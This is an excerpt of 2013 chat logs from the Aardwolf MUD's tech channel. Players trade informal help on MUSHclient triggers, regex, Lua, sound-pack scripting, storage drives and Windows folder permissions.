T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: not with the colorset option.  You can differentiate between mobs and players
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: mobs can also use the xterm colorset.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: Not if you toggle color 256
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: those are default color settings, for when mobs/players aren't setting their coloring themselves.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: or whatever the toggle is
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Faylen Tech: Just turned it on. xterm, that is. we'll see if that gives me weird reading
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: I know of one mob whose room desc is colored bgreen, and of course there are plenty of mobs that have the mobname colored in various selections from the palette.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: Nods, you're right
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Faylen Tech: well, good news is xterm so far doesn't make my reader go wacky. Bad news is, if I do find a way to trigger off of some obscure color I set for players, that'll make whatever I doo with it useless to anyone else unless they're using the same color scheme
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: Could just pick some xterm color that you don't think any mob uses, and use it for your colorset players.  And just look for that color between the roomchars tags.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: it's best if you use a two-pronged approach, using color and after-name text to determine what is a player (mob text is just too freeform to be feasible), along with notitles and nopretitles so you can guarantee that playernames are always just one word long.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Tech: Leinei nods.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: All my triggers start out useless to other players :P
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: there are ways around that Faylen.  You could probably use a variable to hold the color reference, so that anyone else using it needs only set the color variable(s) to their preferred values.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Faylen Tech: nods, true
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: That's the reason that I rarely release any of my scripts.  Just because I'm too lazy to make then user-friendly
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Faylen Tech: haha
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: or write instructions
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: well, I assume mush/regex is able to use variables in trigger patterns like that.  Can do so in CMud, and I've got my players universally shortflagged and listed horizontally with abbreviated stancing.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Ixle Tech: And you can do both of those things and still expect lots of "it doesn't work" feedback
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: My sorting script still doesn't work for people that have prompts off.  Even though it would only take me about 5 minutes to fix it.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: Simply because I never turn my prompt off
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Faylen Tech: nods. MOst of what I've done so far wouldn't be useful to anyone but VI players anyway, that low hp script being the first that I thought was useful to anyone else. But now that I'm done with accessibility stuff I'm trying to move onto other things, like warning me if I enter a room with another player so I don't accidentally steal a mob from them
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: well, if you write your script in promptless form, then it'd make the prompt setting irrelevent.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: I could fix it -- I've even told a couple of people how to.  But it was just something I wrote for myself, and figured other people would like it, so wrote a simple helpfile, and released it pretty much as-is.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: here's how I display players...
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: Players
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech:   8 Standing: [NW]Krache, [G]Lustygoddess, [G]Whalen, [G]Raix, [NHWT]Pei, [LN]Mulg, [LNI]Narutokun,  [GW]RandAlthor
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: 1 Sleeping: [ANIW]SlyZoR (a trivia sleeping bag)
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Pei Tech: what does NHWT meanb
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: those are the shortflag equivalents of auras (N is my creation, since Aard doesn't tell you a player is a neutral alignment).  H = hidden, W = sanctuary, T = translucent.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: I print mobs in a separate section, using collapsing logic similar to inventory duplicates.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: my next iteration will probably insert ordinals or something, so I can easily tell how to reference them
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Ayasinda Tech: anyon knows how many watts of sounds the "dj-tech ua-mini" Mini-amp can produce?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Deathbolt Tech: i have a question, when using 'mapper area' command in the underdark why do i see 3 'Guest Room' room id's, 1 of which appears to be non existant, gaardians text searchable map only shows 2... the 'mystery' room ID is 27116
T3/r7/2013-06-26.txt.gz:{chan ch=tech}StarsOscar Tech: i believe that underdark is pre-mapped maybe some of the data was outdated
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Deathbolt Tech: but surely using the 'mapper goto' command i should be able to go to room id 27116 regardless of room name string
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Deathbolt Tech: afaik there has been no changes to the underdark since it was put there
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Faylen Tech: what happens when you try? Just can't find a path?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Deathbolt Tech: exactly
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Deathbolt Tech: hrmph, how irritating
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: could it be the map is wrong and you just haven't actually been to that room?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Pei Tech: is there a way to play ogg files?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Pei Tech: with Sound(GetInfo(67).."sounds/blah.ogg")
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Pei Tech: it tells me it cannot determine file type
T3/r7/2013-06-26.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: mushclient can only handle .wav at certain hrtz iirc
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Pei Tech: anyone around who understands the Sound functions?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: like i said pretty sure mushclient only play sounds that are in the wav format that are below 22.5k hertz
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Pei Tech: hrm
T3/r7/2013-06-26.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: actually guessing at the Hrz limit since thats what all my sound files i use with mushclient are
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Daesilme Tech: From the help files for PlaySound : .wav, 16-bit, 22.05 KHz, PCM
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Daesilme Tech: http://www.mushclient.com/scripts/function.php?name=PlaySound
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Pei Tech: hrm
T3/r7/2013-06-27.txt.gz:{chan ch=tech}[Tank] Skystar Tech: is it possible to make a trigger that would activate like ..the white moon rises ...but the direction keeps changing but can the trigger pick it up ?
T3/r7/2013-06-27.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: there have been 3 moons plugins forever
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Ayasinda Tech: yes, in most clients you can use variables
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Ixle Tech: and/or regex
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: No need for variables, just slap a blob regex on the end, like *
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: For regex, can use .*
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Ayasinda Tech: nod Vakieh. That was what I meant. Just didn't know what it was called
T3/r7/2013-06-27.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i tend to use .*? instead of * 
T3/r7/2013-06-27.txt.gz:{chan ch=tech}[Tank] Skystar Tech: so i would make a trigger like You see the white moon rising in the *
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Ixle Tech: Just a word of wisdom, it's best practice to make your regex's as restrictive as possible to avoid unintended consequences. So after you get what you want working, keep looking into to regex to see how you can make it safer.
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Ayasinda Tech: Like you want to anchor your trigger
T3/r7/2013-06-27.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: exactly
T3/r7/2013-06-27.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: meh ; got in the way of that, exactly what i was about to say*
T3/r7/2013-06-27.txt.gz:{chan ch=tech}[Tank] Skystar Tech: where can i download moon script ?
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Ayasinda Tech: Don't Bast have one?
T3/r7/2013-06-27.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: not sure but would assume so
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Ayasinda Tech: Skystar Finger Bast for his website. He might have one
T3/r7/2013-06-27.txt.gz:{chan ch=tech}[Tank] Skystar Tech: found no scripts or links to them
T3/r7/2013-06-27.txt.gz:{chan ch=tech}TrEz Tech: should I be looking for 7200 rpm hdd or there's a reason most are at 5400
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Why not get a decent drive, like an SSD?
T3/r7/2013-06-27.txt.gz:{chan ch=tech}TrEz Tech: because most laptops come with hdd in this price range
T3/r7/2013-06-27.txt.gz:{chan ch=tech}TrEz Tech: and because ssd would be like 256GB
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: RPM is a rough guide, most 7200 will be faster than most 5400. But check the detailed stats on each HDD, see which ones have the least latency/bandwidth
T3/r7/2013-06-27.txt.gz:{chan ch=tech}TrEz Tech: they're not that specific
T3/r7/2013-06-27.txt.gz:{chan ch=tech}TrEz Tech: I'm asking in case 5400 is better battery-wise, etc crap
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: have you considered a hydrid, you get 1T and 8G of SSD that gives you SSD like boots and your common apps load faster.
T3/r7/2013-06-27.txt.gz:{chan ch=tech}TrEz Tech: well my laptop is 17 inches, got a separate slot for ssd
T3/r7/2013-06-27.txt.gz:{chan ch=tech}TrEz Tech: but for 15 inches unless you remove the blueray..
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Well sure your average 5400 is going to be better for battery life, the same way a 12" screen is better than a 17" screen...
T3/r7/2013-06-27.txt.gz:{chan ch=tech}TrEz Tech: I don't like the hybrids cause the ssd is usually 32GB and bellow
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You understand the point of the hybrid portion, right?
T3/r7/2013-06-27.txt.gz:{chan ch=tech}TrEz Tech: maybe if the hdd can be switched for an ssd in the future.. iunno
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is for caching, not storage
T3/r7/2013-06-27.txt.gz:{chan ch=tech}TrEz Tech: 32 is too small
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: For caching? 32 is plenty big enough
T3/r7/2013-06-27.txt.gz:{chan ch=tech}TrEz Tech: for the OS + a game or two
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Sneak Tech: 3TB fusion
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You once again miss the point - on a hybrid drive (not a hybrid laptop) you don't see the SSD part separately
T3/r7/2013-06-27.txt.gz:{chan ch=tech}TrEz Tech: if they want a specific hdd later on they can install it
T3/r7/2013-06-27.txt.gz:{chan ch=tech}TrEz Tech: or change it
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Pei Tech: how do i do a random 1-64 output? math.random(1,64) ?
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Tech: didja look at the helpfile for that function?
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Tech: MUSHclient's helpfile is very good at showing syntax for functions and describing what they do
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Pei Tech: says failed to launch help
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Tech: http://support.microsoft.com/kb/917607
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Pei Tech: sweet.... 64 random death sounds
T3/r7/2013-06-27.txt.gz:{chan ch=tech}TrEz Tech: what's a good ssd brand
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Mailg Tech: OCZ or intel imo!
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Mailg Tech: those are the only 2 i still have that havent failed on me, so ... :)
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Pei Tech: I'm making a pretty detailed sound pack for aardwolf, does anyone know where I can get every kind of "mob death output" there is? i.e is stabbed to death, is beaten to death, etc etc
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Hanslanda Tech: I don't know of a nice, complete list, but you can use the builder site (build.aardwolf.com) to cobble together all the lines, I think
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Pei Tech: okay
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Pei Tech: with build.aardwolf.com i get Warning: Parameter 2 to frontpage() expected to be a reference, value given in /home/aardmud/public_html/builders/includes/Cache/Lite/Function.php on line 100
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Zade Tech: do those triggered sounds play sequentially (poorman version) or immediately (dream-on version)
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Leinei Tech: I believe there's a different death message for every single skill and spell in the game
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Leinei Tech: Just click on one of the menu options, Pei.  It should go away
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Pei Tech: they play immediately, and over top of each other if need be
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Pei Tech: it's a special audio script that uses Sound function still, but supports ogg, and also mp3
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Pei Tech: ie Sound(GetInfo(67).."sounds/buy.ogg")
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Zade Tech: so if umpteen sounds are triggered, umpteen sounds are active simultaneously (up to say 16 or 32 sounds at once)
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Pei Tech: correct
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Leinei Tech: I believe Sound() only lets you play one at a time.  Think you have to use PlaySound() if you want them to play over top of each other (up to 10)
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Leinei Tech: In Excel, trying to write a function to display the contents of the first non-blank cell in a finite row (let's say in the range A1:A10).  Any ideas?
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Leinei Tech: Other than writing a 10-deep if() function
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Pei Tech: Leinei not with the audio script i use, and the audio.dll
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Hanslanda Tech: did you look for a select/switch/case or some other conditional type of function?
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Leinei Tech: wouldn't I still need to write a case for every single cell in the row, though?
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Zade Tech: loop with a break exit ?
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Leinei Tech: excel can do loops?
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Leinei Tech: I think someone's given me a solution that will work.
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Wildkard Tech: anyone see microsoft is giving away free fable 3 Game on Demand for gold members until the 30th?
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Wildkard Tech: (for xbox live that is)
T3/r7/2013-06-27.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i haven't even turned on my xbox in months
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Prince Wario Tech: I use it for netflix
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Wildkard Tech: still a free game is a free game
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Tech: The Dragon RandAlthor snickers as he re-reads  what he said.
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Wildkard Tech: just for being a member - worth a download if you have hard drive space
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Leinei Tech: Sony has given like 80 free games over the past year to PS+ members ;)
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Wildkard Tech: don't have one of those
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Veladros Tech: ps rules
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Magicmaster Tech: read the fine print
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Wildkard Tech: for what?
T3/r7/2013-06-27.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: the fable game?
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Wildkard Tech: tech what does it say?
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Magicmaster Tech: yes
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Magicmaster Tech: read about what info they r getting from u
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Wildkard Tech: ahh they are welcome to it, never did me any good and they don't have credit card or ssn, any other info they can keep
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Wildkard Tech: was reading about the info they keep now when you enter your zip code at numerous stores, by matching it with your name they can get your address at a near 99 percent ratio
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Wildkard Tech: and you never signed a thing
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Wildkard Tech: and you don't get anything free out of that
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Magicmaster Tech: i always give false data
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Wildkard Tech: its a shame you even have to do that
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Tynrael Tech: false data is why I now get AARP and hearing aid flyers  :p
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Magicmaster Tech: lol
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Wildkard Tech: your welcome :)
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Wildkard Tech: the last four of my phone are 8888 and it seems people give that as false data all the time, my phone rings off the hook with wrong numbers
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Magicmaster Tech: the mark of the tech beast
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Magicmaster Tech: heheh
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Pei Tech: Say I want to make a command that expects an argument.... How does that look in alias and how do i do like if (%1=="something) then ... what is the symbol for argument expectation, can someone give me a crash course om this?
T3/r7/2013-06-27.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: foo (bar|bleh|blah) or foo (.*?)  then oof = "%1"     if oof =    then
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Pei Tech: would I do: if (off="argument") then
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Pei Tech: would I do: if (oof="argument") then
T3/r7/2013-06-27.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: yeah what language are you using?
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Pei Tech: lua
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Arnica Tech: ==
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Arnica Tech: - is assignment == is comparison
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Arnica Tech: = is assignment == is comparison
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Arnica Tech: Pei, know what I mean?
T3/r7/2013-06-27.txt.gz:{chan ch=tech}Pei Tech: thanks a bunch i got it
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: Okay got a new hard-drive yesterday transfered AardMush over, Aard is having trouble creating save files and is bouncing out with errors galore when it comes to save files?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: I went ahead and re-downloaded the client *I needed to upgrade* and moved my plugins over and first thing I get is the same error.
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Umbra Eutychus Tech: Where are you going to open the client?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: reply im not
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: It has nothing to do with the shortcut, I obviously have the client open :P
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: I think it was just run as administrator. Just found that un-checked will try it out.
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: Here's my error Unable to create the plugin save state file: C:\users\owner\desktop\Mushr1723\Enchantra\MUSHClient\worlds\plugins\state\blahblahblahblah-state.xml
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: and what is this? {invmon}2,954111943,-1,30
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Ixle Tech: That's just a tag from the mud normally handled by a plugin
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Wildkard Tech: did you try it strait without adding any plugins?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: enchantra: don't put MUSHclient folder into program files directory, that's usually what produces the unable to save stuff
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: I'm adding the plugins right now
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: O_o I have my mushclient folder on my desktop
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: I mean the complete folder whole install and extraction onto my desktop
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: that's normally fine
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: double-check the permissions of the state folder
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: As I am uploading plugins into the client I'm getting that popup error
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: State folder? Where am I gonna find that one?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: inside the world\plugins folder
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Wildkard Tech: Each plugin has its own 'state' file which stores the configuration for that plugin, including the size and position of the windows. Because new variables can often be added with newer releases, it is usually safer to use the state files with the new version and resize the windows / reconfigure the plugins yourself
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: just to be sure, I'd prolly just go to security properties of the MUSHclient folder and force full perms to myself recursively
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Wildkard Tech: all mine are in C:\DOWNLOADS\MUSHclient\worlds\plugins\state
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: It's refusing to even create the state file... 
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: I gave it admin permission
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: don't run as admin, that's a bad kludge
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: and it masks what may be the real issues
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: so go in and make sure everything is checked on allow
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: more than that, click advanced and make sure you propogate to all children
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: Yeah its still refusing to create initial state files.
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: I'm starting to think it's the computers hard-drive itself since the previous client I had refused to work and was doing the same thing.
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: Possible?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: It sounds kinda like a permissions thing, if you manually make the files, can it modify them?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: Not sure
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: I'd like to turn that permissions thing off.. You think it is internal computer settings and nothing to do with the client?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Pedwiddle Tech: If you were having the same issue with the previous client, then it's almost assuredly not client-related.
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: Alright
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: Anyone able to walk me through checking windows permissions?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: #1 say what windows your using
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: 7
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Pei Tech: is there a way to make something only trigger once within so many seconds, say i want to trigger something when "A warm feeling hits your body" or whatever it says, but it says it four times in a row, and i only want to trigger one event
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: yup
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: my autoquaff plugin does just that
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Pei Tech: how does it work
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: - h15
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Pei Tech: s'cuse me?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: you're s'cused :-)
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: that was a typoed "tech -h 15"
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Pei Tech: how does one go about doing that
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Pei Tech: oh
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: few ways...can use variables or timers to accomplish it
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: can have the trigger set a timer to enable itself, and then immediately didable itself
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Pei Tech: i'd wanna use a timer probably, say trigger it no more than once per 1 second
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: or can set a variable to the time last fired, and have the action of the trigger look for time difference before doing anything
T3/r7/2013-06-28.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: could also use wait.lua or just make two triggers one for heal cast and one for quaff 
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: don't think you want wait
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Pei Tech: hrm
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: dunno why you'd be triggering on a warm feeling fills your body though
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Pei Tech: sound pack
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: which is why it's usually best to say what you want to actually do rather than how to code around a particular issue
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: trigger on quaffing
T3/r7/2013-06-28.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i dont like using lua so there are probably better ways but i've used wait to essentially make embedded timers within alias/triggers
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: rand: that's not what would be done...
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: you wouldn't be making it "only fire this often", you'd be spreading out each fire's action along a greater timeline...
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: FirstBlade Gladacus nods at you in agreement. 
T3/r7/2013-06-28.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: would still stack up
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: in other words, he wants a recovery timer, not a lag
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: wait would be like you casting <slow spell> 10 times, rather than trying to cast recovery spell 10 times
T3/r7/2013-06-28.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: not it the trigger disbales it self and cant enable for so many seconds
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: if it disabled itself, it can't enable...
T3/r7/2013-06-28.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: the disable would run before the enable will
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Pei Tech: i want it to do Sound(GetInfo(67).."sounds/heal.ogg") when it triggers warm feeling, but only want it to play the sound once, would you be so kind as to pastebin me an example, i would totally be willing to crediit you on my soundpack
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: my autoquaff plugin is already an example...
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Pei Tech: can you pastebin me the lines of code so i can learn from them?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Pei Tech: the specific code
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: Ixle snickers softly.
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Ixle Tech: showdesc abelinc, visit the links
T3/r7/2013-06-28.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: could be rather simple,trigger creates timer,then trigger disables and timer reables trigger after set time
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Pei Tech: Gladacus would you be willing to pastebin me an example.
T3/r7/2013-06-28.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: if i may ask here,whats the trigger line for exp gained from kills and is there any other that it might catch too(Im thinking skill ups)
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: all of the examples you need are in the MUSHclient docs...EnableTrigger(), AddTimer() or DoAfterSpecial()...the example in the docs for DoAfterSpecial() are even for enabling trigger groups
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: skillups only tell you how much experience you gained when there's doubles going on (and mastering is always 30)
T3/r7/2013-06-28.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: huh?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: still asking if it might fire my exp tracking trigger
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: here I get really curmudgeonly and mention that if you can't be bothered to go out and kill one MOB to find out what the message is to get exp for a kill (and yet somehow don't want to use one of the many pre-existing trackers out there) I find it hard to help
T3/r7/2013-06-28.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: i have it,jsut making sure that it doesnt track other exp gains aswel
T3/r7/2013-06-28.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: and a skill up isnt that easy
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Zade Tech: ^You receive %x exporience points.$
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: you'll want to cover cases of exprate, combat empathy, regular doubles, and personal DB doubles
